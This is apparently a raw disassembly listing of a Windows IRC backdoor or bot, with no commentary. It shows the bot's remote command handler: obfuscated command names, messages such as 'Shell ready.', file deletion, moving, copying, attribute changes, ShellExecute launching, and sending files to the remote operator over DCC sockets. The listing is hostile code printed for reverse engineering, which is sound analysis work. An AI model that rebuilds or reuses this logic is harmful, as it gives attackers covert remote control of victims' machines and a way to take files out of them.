[ebp+arg_14], 0 jnz short loc_40F1A7 cmp [ebp+arg_18], 0 jnz short loc_40F1AD push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40F1A7: ; CODE XREF: sub_40A9FE+478Bj ; sub_40A9FE+4791j cmp [ebp+arg_18], 0 jz short loc_40F1BB loc_40F1AD: ; CODE XREF: sub_40A9FE+4797j push edi push ebx push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 jmp short loc_40F1D6 ; --------------------------------------------------------------------------- loc_40F1BB: ; CODE XREF: sub_40A9FE+47ADj cmp [ebp+arg_14], 0 jnz loc_414995 push edi push offset aSShellReady_ ; "%s Shell ready." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A loc_40F1D6: ; CODE XREF: sub_40A9FE+47BBj add esp, 10h cmp [ebp+arg_18], 0 jz loc_414995 push edi push offset aSShellReady_ ; "%s Shell ready." jmp loc_414744 ; --------------------------------------------------------------------------- loc_40F1EE: ; CODE XREF: sub_40A9FE+470Ej push dword ptr [ebx] push offset aJ2yyw_j09xc ; "j2yYw.J09XC/" call edi ; dword_437178 test eax, eax jnz loc_40F370 cmp [ebx+4], eax jnz short loc_40F242 cmp [ebp+arg_14], eax mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_40F22D cmp [ebp+arg_18], eax jnz short loc_40F237 push ebx push offset aWhdag1glagf_ ; "WHdAg1glAgf." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40F22D: ; CODE XREF: sub_40A9FE+4813j cmp [ebp+arg_18], 0 jz loc_414995 loc_40F237: ; CODE XREF: sub_40A9FE+4818j push ebx push offset aWhdag1glagf_ ; "WHdAg1glAgf." jmp loc_40C891 ; --------------------------------------------------------------------------- loc_40F242: ; CODE XREF: sub_40A9FE+4804j push 2710h lea eax, [ebp+var_3A760] push 0 push eax call sub_429760 mov edi, 104h lea eax, [ebp+var_2A7C] push edi push 0 push eax call sub_429760 push dword ptr [ebx+4] lea eax, [ebp+var_2A7C] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 24h push 2 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_40F2C9 loc_40F28B: ; CODE XREF: sub_40A9FE+48C9j mov eax, [ebp+arg_C] mov eax, [ebx+eax*4] test eax, eax jz short loc_40F2BE push eax lea eax, [ebp+var_3A760] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_3A760] push edi push eax lea eax, [ebp+var_2A7C] push eax call sub_4299E0 add esp, 18h loc_40F2BE: ; CODE XREF: sub_40A9FE+4895j inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_40F28B loc_40F2C9: ; CODE XREF: sub_40A9FE+488Bj lea eax, [ebp+var_2A7C] push offset asc_440D90 ; "\n" push eax call dword_437090 ; lstrcatA lea eax, [ebp+var_2A7C] push eax call sub_41E5C7 test eax, eax pop ecx jnz short loc_40F32C mov ebx, offset aSS_1 ; "%s %s" mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ." loc_40F2F6: ; CODE XREF: sub_40A9FE+4765j cmp [ebp+arg_14], 0 jnz short loc_40F317 cmp [ebp+arg_18], 0 jnz short loc_40F321 push edi push offset aWhdag1glagf_ ; "WHdAg1glAgf." push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40F317: ; CODE XREF: sub_40A9FE+48FCj cmp [ebp+arg_18], 0 jz loc_414995 loc_40F321: ; CODE XREF: sub_40A9FE+4902j push edi push offset aWhdag1glagf_ ; "WHdAg1glAgf." jmp loc_40B0FB ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40A9FE+48ECj cmp [ebp+arg_14], 0 mov ebx, offset aWhdag1glagf_ ; "WHdAg1glAgf." mov edi, offset aSCommandsS_ ; "%s Commands: %s." jnz short loc_40F359 cmp [ebp+arg_18], 0 jnz short loc_40F363 lea eax, [ebp+var_2A7C] push eax push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40F359: ; CODE XREF: sub_40A9FE+493Cj cmp [ebp+arg_18], 0 jz loc_414995 loc_40F363: ; CODE XREF: sub_40A9FE+4942j lea eax, [ebp+var_2A7C] push eax push ebx jmp loc_40C891 ; --------------------------------------------------------------------------- loc_40F370: ; CODE XREF: sub_40A9FE+47FBj push dword ptr [ebx] push offset a43ucs0rkqux_ ; "43uCS0rkQUx." call edi ; dword_437178 test eax, eax jnz short loc_40F389 push offset aWhdag1glagf_ ; "WHdAg1glAgf." push 0Fh jmp loc_412B29 ; --------------------------------------------------------------------------- loc_40F389: ; CODE XREF: sub_40A9FE+497Dj push dword ptr [ebx] push offset aJc8j0_blhir0 ; "jC8j0.blHIr0" call edi ; dword_437178 test eax, eax jnz loc_40FB9F xor ecx, ecx cmp [ebx+4], ecx jz loc_40FB84 mov eax, [ebx+8] cmp eax, ecx jz loc_40FB84 push eax lea eax, [ebp+var_418] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 3 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_C], eax jle short loc_40F412 loc_40F3D0: ; CODE XREF: sub_40A9FE+4A12j mov eax, [ebp+arg_C] mov eax, [ebx+eax*4] test eax, eax jz short loc_40F407 push eax lea eax, [ebp+var_63F70] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_63F70] push 104h push eax lea eax, [ebp+var_418] push eax call sub_4299E0 add esp, 18h loc_40F407: ; CODE XREF: sub_40A9FE+49DAj inc [ebp+arg_C] mov eax, [ebp+arg_C] cmp eax, [ebp+arg_4] jl short loc_40F3D0 loc_40F412: ; CODE XREF: sub_40A9FE+49D0j push dword ptr [ebx+4] push offset aPiygc_bgpyh_ ; "PIYGC.BgPyH." call edi ; dword_437178 test eax, eax jnz loc_40F5D6 push dword ptr [ebx+8] lea eax, [ebp+var_2470] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 3 pop edi cmp [ebp+arg_4], edi jle short loc_40F478 loc_40F443: ; CODE XREF: sub_40A9FE+4A78j mov eax, [ebx+edi*4] test eax, eax jz short loc_40F472 push eax lea eax, [ebp+var_68D90] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_68D90] push eax lea eax, [ebp+var_2470] push eax call sub_42A5E0 add esp, 14h loc_40F472: ; CODE XREF: sub_40A9FE+4A4Aj inc edi cmp edi, [ebp+arg_4] jl short loc_40F443 loc_40F478: ; CODE XREF: sub_40A9FE+4A43j lea eax, [ebp+var_2470] push offset word_43EF70 push eax call sub_42A50C pop ecx mov [ebp+arg_C], eax test eax, eax pop ecx mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" jz loc_40F587 cmp [ebp+arg_14], 0 mov ebx, offset aSDisplayingFil ; "%s Displaying file: %s" jnz short loc_40F4C3 cmp [ebp+arg_18], 0 jnz short loc_40F4C9 lea eax, [ebp+var_2470] push eax push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40F4C3: ; CODE XREF: sub_40A9FE+4AA6j cmp [ebp+arg_18], 0 jz short loc_40F4DF loc_40F4C9: ; CODE XREF: sub_40A9FE+4AACj lea eax, [ebp+var_2470] push eax push edi push ebx push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 14h loc_40F4DF: ; CODE XREF: sub_40A9FE+4AC9j mov ebx, 2710h jmp short loc_40F50C ; --------------------------------------------------------------------------- loc_40F4E6: ; CODE XREF: sub_40A9FE+4B23j cmp [ebp+arg_14], 0 jnz short loc_40F50C cmp [ebp+arg_18], 0 jnz short loc_40F50C lea eax, [ebp+var_491C0] push eax push offset aS_5 ; "%s" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40F50C: ; CODE XREF: sub_40A9FE+4AE6j ; sub_40A9FE+4AECj ... push [ebp+arg_C] lea eax, [ebp+var_491C0] push ebx push eax call sub_42B087 add esp, 0Ch test eax, eax jnz short loc_40F4E6 cmp [ebp+arg_18], eax jz short loc_40F541 lea eax, [ebp+var_491C0] push eax push offset aS_5 ; "%s" push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 10h loc_40F541: ; CODE XREF: sub_40A9FE+4B28j push [ebp+arg_C] call sub_42A10B cmp [ebp+arg_14], 0 pop ecx mov ebx, offset aSFileDisplayed ; "%s File displayed: %s" jnz short loc_40F572 cmp [ebp+arg_18], 0 jnz short loc_40F57C lea eax, [ebp+var_2470] push eax push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40F572: ; CODE XREF: sub_40A9FE+4B55j cmp [ebp+arg_18], 0 jz loc_414995 loc_40F57C: ; CODE XREF: sub_40A9FE+4B5Bj lea eax, [ebp+var_2470] jmp loc_40B0F9 ; --------------------------------------------------------------------------- loc_40F587: ; CODE XREF: sub_40A9FE+4A97j cmp [ebp+arg_14], 0 mov ebx, dword_437170 jnz short loc_40F5B7 cmp [ebp+arg_18], 0 jnz short loc_40F5C1 call ebx ; dword_437170 push eax lea eax, [ebp+var_2470] push eax push edi push offset aSFailedToReadF ; "%s Failed to read file: %s,error: <%d>" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40F5B7: ; CODE XREF: sub_40A9FE+4B93j cmp [ebp+arg_18], 0 jz loc_414995 loc_40F5C1: ; CODE XREF: sub_40A9FE+4B99j call ebx ; dword_437170 push eax lea eax, [ebp+var_2470] push eax push edi push offset aSFailedToReadF ; "%s Failed to read file: %s,error: <%d>" jmp loc_41491D ; --------------------------------------------------------------------------- loc_40F5D6: ; CODE XREF: sub_40A9FE+4A20j push dword ptr [ebx+4] push offset a7bqzu_aqz2u_ ; "7bQzU.aQz2u." call edi ; dword_437178 test eax, eax jnz short loc_40F61A lea eax, [ebp+var_418] push eax call sub_4277C0 test eax, eax pop ecx jz short loc_40F60B lea eax, [ebp+var_418] push eax push offset aLmecq0ygcok ; "lmecq0yGcoK/" push offset aSFileExistsS ; "%s File exists: %s" jmp loc_40D1F8 ; --------------------------------------------------------------------------- loc_40F60B: ; CODE XREF: sub_40A9FE+4BF5j mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" mov ebx, offset aSFileDoesnTExi ; "%s File doesn't exist: %s" jmp loc_40FAFD ; --------------------------------------------------------------------------- loc_40F61A: ; CODE XREF: sub_40A9FE+4BE4j push dword ptr [ebx+4] push offset aSar5v0jloic0 ; "saR5v0JloIc0" call edi ; dword_437178 test eax, eax jnz short loc_40F697 lea eax, [ebp+var_418] push eax call dword_437060 ; DeleteFileA test eax, eax mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" jz short loc_40F648 mov ebx, offset aSFileDeletedS ; "%s File deleted: %s" jmp loc_40FAFD ; --------------------------------------------------------------------------- loc_40F648: ; CODE XREF: sub_40A9FE+4C3Ej cmp [ebp+arg_14], 0 mov ebx, dword_437170 jnz short loc_40F678 cmp [ebp+arg_18], 0 jnz short loc_40F682 call ebx ; dword_437170 push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToDelFi ; "%s Failed to del file: %s, error: <%d>" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40F678: ; CODE XREF: sub_40A9FE+4C54j cmp [ebp+arg_18], 0 jz loc_414995 loc_40F682: ; CODE XREF: sub_40A9FE+4C5Aj call ebx ; dword_437170 push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToDelFi ; "%s Failed to del file: %s, error: <%d>" jmp loc_41491D ; --------------------------------------------------------------------------- loc_40F697: ; CODE XREF: sub_40A9FE+4C28j push dword ptr [ebx+4] push offset aX43mxEgedu_ ; "x43Mx/eGeDu." call edi ; dword_437178 test eax, eax jnz short loc_40F714 lea eax, [ebp+var_418] push eax call sub_4277C0 test eax, eax pop ecx jz short loc_40F705 lea eax, [ebp+var_418] push eax call sub_4277D5 test eax, eax pop ecx jz short loc_40F6FE lea eax, [ebp+var_418] push eax call sub_42810F lea eax, [ebp+var_418] push eax call sub_4277C0 pop ecx mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" test eax, eax pop ecx jnz short loc_40F6F4 mov ebx, offset aSFolderDeleted ; "%s Folder deleted: %s" jmp loc_40FAFD ; --------------------------------------------------------------------------- loc_40F6F4: ; CODE XREF: sub_40A9FE+4CEAj mov ebx, offset aSFailedToDelet ; "%s Failed to delete folder: %s" jmp loc_40FAFD ; --------------------------------------------------------------------------- loc_40F6FE: ; CODE XREF: sub_40A9FE+4CC7j mov ebx, offset aSSIsNotAFolder ; "%s %s is not a folder." jmp short loc_40F70A ; --------------------------------------------------------------------------- loc_40F705: ; CODE XREF: sub_40A9FE+4CB6j mov ebx, offset aSSDoesnTExist_ ; "%s %s doesn't exist." loc_40F70A: ; CODE XREF: sub_40A9FE+4D05j mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" jmp loc_40FAFD ; --------------------------------------------------------------------------- loc_40F714: ; CODE XREF: sub_40A9FE+4CA5j push dword ptr [ebx+4] push offset aIsopf_pu4ty0 ; "IsoPF.PU4tY0" call edi ; dword_437178 test eax, eax jnz loc_40F884 cmp [ebx+0Ch], eax jz loc_40F89B push dword ptr [ebx+8] lea eax, [ebp+var_418] push eax call sub_429B03 push dword ptr [ebx+0Ch] lea eax, [ebp+var_236C] push eax call sub_429B03 xor edi, edi add esp, 10h cmp [ebp+arg_34], edi jz short loc_40F7C6 cmp [ebp+arg_38], 0 mov bl, 5Fh jz short loc_40F762 mov bl, [ebp+arg_38] loc_40F762: ; CODE XREF: sub_40A9FE+4D5Fj lea eax, [ebp+var_418] push eax call sub_4293A0 test eax, eax pop ecx jbe short loc_40F793 loc_40F773: ; CODE XREF: sub_40A9FE+4D93j lea eax, [ebp+edi+var_418] cmp [eax], bl jnz short loc_40F781 mov byte ptr [eax], 20h loc_40F781: ; CODE XREF: sub_40A9FE+4D7Ej lea eax, [ebp+var_418] inc edi push eax call sub_4293A0 cmp edi, eax pop ecx jb short loc_40F773 loc_40F793: ; CODE XREF: sub_40A9FE+4D73j lea eax, [ebp+var_236C] xor edi, edi push eax call sub_4293A0 test eax, eax pop ecx jbe short loc_40F7C6 loc_40F7A6: ; CODE XREF: sub_40A9FE+4DC6j lea eax, [ebp+edi+var_236C] cmp [eax], bl jnz short loc_40F7B4 mov byte ptr [eax], 20h loc_40F7B4: ; CODE XREF: sub_40A9FE+4DB1j lea eax, [ebp+var_236C] inc edi push eax call sub_4293A0 cmp edi, eax pop ecx jb short loc_40F7A6 loc_40F7C6: ; CODE XREF: sub_40A9FE+4D57j ; sub_40A9FE+4DA6j lea eax, [ebp+var_236C] push eax lea eax, [ebp+var_418] push eax call dword_4370C4 ; MoveFileA test eax, eax mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" jz short loc_40F827 cmp [ebp+arg_14], 0 mov ebx, offset aSMovedSToS ; "%s Moved: \"%s\" to: \"%s\"" jnz short loc_40F812 cmp [ebp+arg_18], 0 jnz short loc_40F81C lea eax, [ebp+var_236C] push eax lea eax, [ebp+var_418] push eax push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40F812: ; CODE XREF: sub_40A9FE+4DEEj cmp [ebp+arg_18], 0 jz loc_414995 loc_40F81C: ; CODE XREF: sub_40A9FE+4DF4j lea eax, [ebp+var_236C] jmp loc_40F9B2 ; --------------------------------------------------------------------------- loc_40F827: ; CODE XREF: sub_40A9FE+4DE3j cmp [ebp+arg_14], 0 mov ebx, dword_437170 jnz short loc_40F85E cmp [ebp+arg_18], 0 jnz short loc_40F868 call ebx ; dword_437170 push eax lea eax, [ebp+var_236C] push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToMoveS ; "%s Failed to move: \"%s\" to: \"%s\", error"... push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_40F85E: ; CODE XREF: sub_40A9FE+4E33j cmp [ebp+arg_18], 0 jz loc_414995 loc_40F868: ; CODE XREF: sub_40A9FE+4E39j call ebx ; dword_437170 push eax lea eax, [ebp+var_236C] push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToMoveS ; "%s Failed to move: \"%s\" to: \"%s\", error"... jmp loc_414988 ; --------------------------------------------------------------------------- loc_40F884: ; CODE XREF: sub_40A9FE+4D22j push dword ptr [ebx+4] push offset a98mu_Nedn7_ ; "98mu./nEdn7." call edi ; dword_437178 test eax, eax jnz loc_40FA1C cmp [ebx+0Ch], eax jnz short loc_40F8B6 loc_40F89B: ; CODE XREF: sub_40A9FE+4D2Bj mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" loc_40F8A0: ; CODE XREF: sub_40A9FE+4678j cmp [ebp+arg_14], eax mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz loc_40D2BD cmp [ebp+arg_18], eax jmp loc_40D2AB ; --------------------------------------------------------------------------- loc_40F8B6: ; CODE XREF: sub_40A9FE+4E9Bj push dword ptr [ebx+8] lea eax, [ebp+var_418] push eax call sub_429B03 push dword ptr [ebx+0Ch] lea eax, [ebp+var_2574] push eax call sub_429B03 xor edi, edi add esp, 10h cmp [ebp+arg_34], edi jz short loc_40F94D cmp [ebp+arg_38], 0 mov bl, 5Fh jz short loc_40F8E9 mov bl, [ebp+arg_38] loc_40F8E9: ; CODE XREF: sub_40A9FE+4EE6j lea eax, [ebp+var_418] push eax call sub_4293A0 test eax, eax pop ecx jbe short loc_40F91A loc_40F8FA: ; CODE XREF: sub_40A9FE+4F1Aj lea eax, [ebp+edi+var_418] cmp [eax], bl jnz short loc_40F908 mov byte ptr [eax], 20h loc_40F908: ; CODE XREF: sub_40A9FE+4F05j lea eax, [ebp+var_418] inc edi push eax call sub_4293A0 cmp edi, eax pop ecx jb short loc_40F8FA loc_40F91A: ; CODE XREF: sub_40A9FE+4EFAj lea eax, [ebp+var_2574] xor edi, edi push eax call sub_4293A0 test eax, eax pop ecx jbe short loc_40F94D loc_40F92D: ; CODE XREF: sub_40A9FE+4F4Dj lea eax, [ebp+edi+var_2574] cmp [eax], bl jnz short loc_40F93B mov byte ptr [eax], 20h loc_40F93B: ; CODE XREF: sub_40A9FE+4F38j lea eax, [ebp+var_2574] inc edi push eax call sub_4293A0 cmp edi, eax pop ecx jb short loc_40F92D loc_40F94D: ; CODE XREF: sub_40A9FE+4EDEj ; sub_40A9FE+4F2Dj xor eax, eax cmp [ebp+arg_40], eax setz al push eax lea eax, [ebp+var_2574] push eax lea eax, [ebp+var_418] push eax call dword_437064 ; CopyFileA test eax, eax mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" jz short loc_40F9BF cmp [ebp+arg_14], 0 mov ebx, offset aSCopiedSToS ; "%s Copied: \"%s\" to \"%s\"" jnz short loc_40F9A2 cmp [ebp+arg_18], 0 jnz short loc_40F9AC lea eax, [ebp+var_2574] push eax lea eax, [ebp+var_418] push eax push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40F9A2: ; CODE XREF: sub_40A9FE+4F7Ej cmp [ebp+arg_18], 0 jz loc_414995 loc_40F9AC: ; CODE XREF: sub_40A9FE+4F84j lea eax, [ebp+var_2574] loc_40F9B2: ; CODE XREF: sub_40A9FE+4E24j push eax lea eax, [ebp+var_418] push eax jmp loc_40B6FD ; --------------------------------------------------------------------------- loc_40F9BF: ; CODE XREF: sub_40A9FE+4F73j cmp [ebp+arg_14], 0 mov ebx, dword_437170 jnz short loc_40F9F6 cmp [ebp+arg_18], 0 jnz short loc_40FA00 call ebx ; dword_437170 push eax lea eax, [ebp+var_2574] push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToCopyS ; "%s Failed to copy: \"%s\" to \"%s\",error: "... push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_40F9F6: ; CODE XREF: sub_40A9FE+4FCBj cmp [ebp+arg_18], 0 jz loc_414995 loc_40FA00: ; CODE XREF: sub_40A9FE+4FD1j call ebx ; dword_437170 push eax lea eax, [ebp+var_2574] push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToCopyS ; "%s Failed to copy: \"%s\" to \"%s\",error: "... jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FA1C: ; CODE XREF: sub_40A9FE+4E92j push dword ptr [ebx+4] push offset aVdirq_mjcpx1 ; "vDIrQ.MJcpx1" call edi ; dword_437178 test eax, eax jnz loc_40FAC7 cmp [ebp+arg_44], eax jz short loc_40FA37 or [ebp+arg_C], 4 loc_40FA37: ; CODE XREF: sub_40A9FE+5033j cmp [ebp+arg_48], eax jz short loc_40FA40 or [ebp+arg_C], 2 loc_40FA40: ; CODE XREF: sub_40A9FE+503Cj cmp [ebp+arg_4C], eax jz short loc_40FA49 or [ebp+arg_C], 1 loc_40FA49: ; CODE XREF: sub_40A9FE+5045j cmp [ebp+arg_50], eax jz short loc_40FA55 mov [ebp+arg_C], 80h loc_40FA55: ; CODE XREF: sub_40A9FE+504Ej push [ebp+arg_C] lea eax, [ebp+var_418] push eax call dword_437068 ; SetFileAttributesA test eax, eax mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" jz short loc_40FA78 mov ebx, offset aSAttributesSet ; "%s Attributes Set to: \"%s\"." jmp loc_40FAFD ; --------------------------------------------------------------------------- loc_40FA78: ; CODE XREF: sub_40A9FE+506Ej cmp [ebp+arg_14], 0 mov ebx, dword_437170 jnz short loc_40FAA8 cmp [ebp+arg_18], 0 jnz short loc_40FAB2 call ebx ; dword_437170 push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToSetAt ; "%s Failed to set Attributes to: \"%s\",er"... push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40FAA8: ; CODE XREF: sub_40A9FE+5084j cmp [ebp+arg_18], 0 jz loc_414995 loc_40FAB2: ; CODE XREF: sub_40A9FE+508Aj call ebx ; dword_437170 push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToSetAt ; "%s Failed to set Attributes to: \"%s\",er"... jmp loc_41491D ; --------------------------------------------------------------------------- loc_40FAC7: ; CODE XREF: sub_40A9FE+502Aj push dword ptr [ebx+4] push offset aSad25HpR91 ; "Sad25/hP/R91" call edi ; dword_437178 test eax, eax jnz loc_414995 push eax push eax lea ecx, [ebp+var_418] push eax push ecx push offset aOpen ; "open" push eax call dword_456E74 ; ShellExecuteA test eax, eax mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" jz short loc_40FB35 mov ebx, offset aSOpenedS_ ; "%s Opened: \"%s\"." loc_40FAFD: ; CODE XREF: sub_40A9FE+4C17j ; sub_40A9FE+4C45j ... cmp [ebp+arg_14], 0 jnz short loc_40FB20 cmp [ebp+arg_18], 0 jnz short loc_40FB2A lea eax, [ebp+var_418] push eax push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40FB20: ; CODE XREF: sub_40A9FE+5103j cmp [ebp+arg_18], 0 jz loc_414995 loc_40FB2A: ; CODE XREF: sub_40A9FE+5109j lea eax, [ebp+var_418] jmp loc_40B0F9 ; --------------------------------------------------------------------------- loc_40FB35: ; CODE XREF: sub_40A9FE+50F8j cmp [ebp+arg_14], 0 mov ebx, dword_437170 jnz short loc_40FB65 cmp [ebp+arg_18], 0 jnz short loc_40FB6F call ebx ; dword_437170 push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToOpenS ; "%s Failed to open: \"%s\",error: <%d>" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40FB65: ; CODE XREF: sub_40A9FE+5141j cmp [ebp+arg_18], 0 jz loc_414995 loc_40FB6F: ; CODE XREF: sub_40A9FE+5147j call ebx ; dword_437170 push eax lea eax, [ebp+var_418] push eax push edi push offset aSFailedToOpenS ; "%s Failed to open: \"%s\",error: <%d>" jmp loc_41491D ; --------------------------------------------------------------------------- loc_40FB84: ; CODE XREF: sub_40A9FE+49A1j ; sub_40A9FE+49ACj cmp [ebp+arg_14], ecx mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." mov edi, offset aLmecq0ygcok ; "lmecq0yGcoK/" jnz loc_40D2BD cmp [ebp+arg_18], ecx jmp loc_40D2AB ; --------------------------------------------------------------------------- loc_40FB9F: ; CODE XREF: sub_40A9FE+4996j push dword ptr [ebx] push offset aHpmch0pbq800 ; "HPmCH0PbQ800" call edi ; dword_437178 test eax, eax jnz loc_40FF90 xor edi, edi cmp [ebx+4], edi jnz short loc_40FBF3 cmp [ebp+arg_14], edi mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_40FBDF cmp [ebp+arg_18], edi jnz short loc_40FBE8 push ebx push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" push offset aSS_1 ; "%s %s" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40FBDF: ; CODE XREF: sub_40A9FE+51C1j cmp [ebp+arg_18], edi jz loc_414995 loc_40FBE8: ; CODE XREF: sub_40A9FE+51C6j push ebx push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" jmp loc_41478C ; --------------------------------------------------------------------------- loc_40FBF3: ; CODE XREF: sub_40A9FE+51B7j mov eax, [ebp+arg_10] mov ecx, [ebp+arg_14] mov [ebp+var_21C0], eax mov eax, [ebp+arg_18] mov [ebp+var_1F98], eax cmp eax, edi mov [ebp+var_1F94], ecx lea eax, [ebp+var_21B8] jnz short loc_40FC1D push dword ptr [esi+0Ch] jmp short loc_40FC1F ; --------------------------------------------------------------------------- loc_40FC1D: ; CODE XREF: sub_40A9FE+5218j push dword ptr [esi] loc_40FC1F: ; CODE XREF: sub_40A9FE+521Dj push eax call dword_4370B4 ; lstrcpyA push 80h lea eax, [ebp+var_2020] push dword ptr [esi] push eax call sub_429D10 push dword ptr [ebx+4] lea eax, [ebp+var_2124] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 18h lea eax, [ebp+var_2124] mov [ebp+var_48], edi mov [ebp+arg_8], edi push edi push edi push 3 push edi push 1 push 80000000h push eax call dword_43705C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_68], eax jnz short loc_40FC95 push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" lea eax, [ebp+var_21B8] push offset aSNoFile ; "%s No file" push eax push [ebp+arg_10] call sub_41CE4A jmp loc_40BA6A ; --------------------------------------------------------------------------- loc_40FC95: ; CODE XREF: sub_40A9FE+5277j push edi push [ebp+arg_68] call dword_4370C0 ; GetFileSize push edi push 1 push 2 mov ebx, eax call dword_4372BC ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_C], eax jnz short loc_40FCE1 loc_40FCB4: ; CODE XREF: sub_40A9FE+537Ej call dword_437170 ; RtlGetLastWin32Error push eax push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" push offset aSSD ; "%s %s <%d>" loc_40FCCA: ; CODE XREF: sub_40A9FE+534Ej lea eax, [ebp+var_21B8] push eax push [ebp+arg_10] call sub_41CE4A loc_40FCD9: ; CODE XREF: sub_40A9FE+68FAj add esp, 18h jmp loc_412FED ; --------------------------------------------------------------------------- loc_40FCE1: ; CODE XREF: sub_40A9FE+52B4j push 10h lea eax, [ebp+var_90] push edi push eax call sub_429760 mov esi, 400h push 0FA00h push esi mov [ebp+var_90], 2 call sub_41E415 add esp, 14h push eax call dword_4372C4 ; ntohs mov word ptr [ebp+var_8E], ax lea eax, [ebp+var_90] push 10h push eax push [ebp+arg_C] mov [ebp+var_8E+2], edi call dword_437298 ; bind test eax, eax jz short loc_40FD51 call dword_437170 ; RtlGetLastWin32Error push eax push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" push offset aSBindSD ; "%s Bind %s <%d>" jmp loc_40FCCA ; --------------------------------------------------------------------------- loc_40FD51: ; CODE XREF: sub_40A9FE+5336j push 10h pop eax mov [ebp+var_70], eax mov [ebp+var_50], eax lea eax, [ebp+var_50] push eax lea eax, [ebp+var_90] push eax push [ebp+arg_C] call dword_43729C ; getsockname push 1 push [ebp+arg_C] call dword_4372A0 ; listen cmp eax, 0FFFFFFFFh jz loc_40FCB4 push offset dword_457CF8 call dword_4372A4 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_44] push eax call sub_429420 lea eax, [ebp+var_2124] push eax lea eax, [ebp+var_2020] push offset aSendingYouS ; "Sending you %s" push eax push [ebp+arg_10] call sub_41CDD4 lea eax, [ebp+var_2124] push offset dword_457CF8 push eax lea eax, [ebp+var_2020] push offset aDccSendSS ; "DCC Send %s (%s)" push eax push [ebp+arg_10] call sub_41CDD4 add esp, 30h push ebx push [ebp+var_8E] call dword_4372A8 ; ntohs movzx eax, ax push eax push [ebp+var_44] call dword_4372F0 ; ntohl push eax lea eax, [ebp+var_2124] push eax lea eax, [ebp+var_2020] push offset aSDDI ; "%s %d %d %i" push eax push [ebp+arg_10] call sub_41CEC0 mov eax, [ebp+arg_C] add esp, 1Ch mov [ebp+var_5BBC], eax lea eax, [ebp+var_98] push eax push edi 